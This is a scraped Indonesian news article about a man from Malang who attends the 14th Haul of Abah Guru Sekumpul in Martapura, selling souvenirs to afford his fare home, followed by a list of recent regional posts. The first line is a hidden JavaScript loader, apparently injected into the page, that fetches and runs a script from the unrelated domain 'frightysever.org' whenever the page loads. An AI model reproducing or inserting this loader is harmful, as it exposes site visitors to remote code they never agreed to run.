(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Haul Sekumpul 14

Bermodal Souvenir, Lelaki Asal Malang Ini Datang ke Haul Guru Sekumpul


MARTAPURA, Berbekal niat, bermodal souvenir, Syaifuddin bersama kedua temannya nekat datang jauh dari Malang Jawa Timur, ikuti Haul Abah Guru Sekumpul ke-14.

Berbagai cara dilakukan jamaah Haul Abah Guru Sekumpul untuk dapat berhadir diacara tahunan yang mendatangkan ribuan remaah dari berbagai penjuru tersebut. Mulai ada yang berjalan kali, bersepeda injak dari Kalimantan Tengah, hingga ada yang nekat tidak memikirkan uang untuk bisa pulang kembali ketempat asalnya. Demi bisa berhadir di Haul Abah Guru Sekumpul.

Didapati Kanalkalimantan, Minggu (10/3) dinihari, Syaiffudin masih nampak sibuk menjual souvenirnya yang bergambarkan Abah Guru Sekumpul dibahu jalan kepada beberapa jamaah yang melitasi jalan utama tidak jauh dari pusat acara haul ke-14.

Syaiffudin mengaku sudah berada di kota berjuluk serambi Mekkah sejak Jumat (8/3). Setelah menempuh perjalanan jauh melalui jalur laut. Sementara pengalaman datang ke Haul Abah Guru Sekumpul merupakan kali kedua baginya.

“Ini kali kedua saya kemari, untuk bisa kesini saja naik kapal, kali ini saya menjual sovenir untuk ongkos pulang,” akunya kepada kanalkalimantan.

Lebih jauh Syaiffudin mengatakan, sudah lama mengetahui dan mencintai Abah Guru Sekumpul, sehingga menguatkan niatnya untuk berangkat ke haul ditahun ini dengan membawa souvenir abah guru yang memang sengaja dibawanya dari Malang.

“Souvenir Abah Guru Sekumpul ini ada dijual juga di Malang, jadi saya bawa saja kesini untuk dijual kembali, alhamdulillah dari penjualan beberapa hari ini lumayan rame,” ujarnya.

Ketika ditanya rencana pulangnya ke Malang dirinya mengaku masih belum bisa memastikan, mengingat ongkos untuk pulang tergantung pendapatan dari hasil souvenir yang dijualnya tersebut.

“Setelah puncak Haul  malam Senin ini selesai sih saya mau langsung pulang, namun tergantung pendapatan souvenir, kalo sudah mencukupi uangnya untuk membeli tiket insyaallah saya pulang,” pungkasnya. (rendy)

Reporter : Rendy
Editor : Chell

Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.